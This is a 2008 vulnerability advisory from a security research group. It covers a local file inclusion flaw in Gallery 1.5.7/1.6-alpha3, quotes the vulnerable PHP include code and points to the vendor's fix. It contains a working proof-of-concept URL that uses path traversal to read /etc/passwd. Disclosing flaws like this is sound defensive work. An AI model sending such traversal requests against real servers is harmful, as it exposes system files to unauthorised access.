[DSECRG-08-035] Local File Include Vulnerability in Gallery 1.5.7, 1.6-alpha3

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-035

Application: Gallery
Versions Affected: 1.5.7, 1.6-alpha3
Vendor URL: http://gallery.menalto.com/
Bug: Local File Include
Exploits: YES
Reported: 14.07.2008
Vendor response: 15.07.2008
Solution: YES
Date of Public Advisory: 08.08.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description

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Gallery system has local file include vulnerability in script contrib/phpBB2/modules.php

Successful exploitation requires that "register_globals" is enabled.

Code

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#################################################

switch ($_REQUEST['op']) {
case 'modload':
// Added with changes in Security for PhpBB2.
define('IN_PHPBB', true);

    define ("LOADED_AS_MODULE","1");
    $phpbb_root_path = "./";
    // connect to phpbb
    include_once($phpbb_root_path . 'extension.inc');
    include_once($phpbb_root_path . 'common.'.$phpEx);
    include_once($phpbb_root_path . 'includes/functions.'.$phpEx);

#################################################

Example:

http://[server]/[installdir]/contrib/phpBB2/modules.php?op=modload&phpEx=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd

Solution

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Vendor fix this flaw on 05.08.2008. Download Gallery 1.5.8 and 1.6-RC1 from download page on SourceForge:

http://sourceforge.net/project/showfiles.php?group_id=7130&package_id=7239&abmode=1

More information about release: http://gallery.menalto.com/gallery_1.5.8_released

About

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Digital Security is leading IT security company in Russia, providing information security consulting, audit and
penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI
DSS standards. Digital Security Research Group focuses on web application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
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